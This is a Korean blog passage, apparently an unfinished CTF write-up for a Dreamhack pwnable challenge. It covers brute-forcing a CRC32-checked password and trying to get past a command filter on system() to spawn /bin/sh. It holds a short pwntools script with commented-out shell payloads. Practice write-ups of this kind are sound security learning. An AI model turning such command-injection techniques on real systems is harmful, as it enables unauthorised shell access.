코드분석

- password는 YISF가 포함되어 있고 crc32값이 997872474이다
- system함수의 인자로 s 8글자가 들어가는데 문자열은 needle에 의해 필터링 된다
익스플로잇
password를 알아낸 후 needle을 우회하여 쉘을 따자
password는 crc32역연산을 통해 알아내려했지만 이전 crc 하위 1바이트를 어떻게 구하는지 모르겠어서 결국 브루트포싱으로 알아냄

needle은 다음 문자들을 필터링 함

근데 너무 많이 필터링해서 어떻게 우회하는지 모르겟음 ...
지금까지 익스플로잇 코드
from pwn import *
p = remote('host3.dreamhack.games', 19326)
p.recvuntil(b'Input your password')
p.send(b'YISF\xa7\x89C\x8f')
#p.recvuntil(b'How can I help you?')
#payload=b' '*596 + b' /bin/sh'
#payload=' '*38+ '/bin/sh'
p.interactive()'CTF > Pwnable' 카테고리의 다른 글
| [Dreamhack] off_by_one_000 Write-up (0) | 2024.04.07 |
|---|---|
| [DreamHack] cpp_string Write-up (0) | 2024.04.07 |
| [DreamHack] environ Write-up (0) | 2024.04.07 |
| [DreamHack] checkflag Write-up (0) | 2024.03.31 |
| [Dreamhack] blindsc Write-up (0) | 2024.03.31 |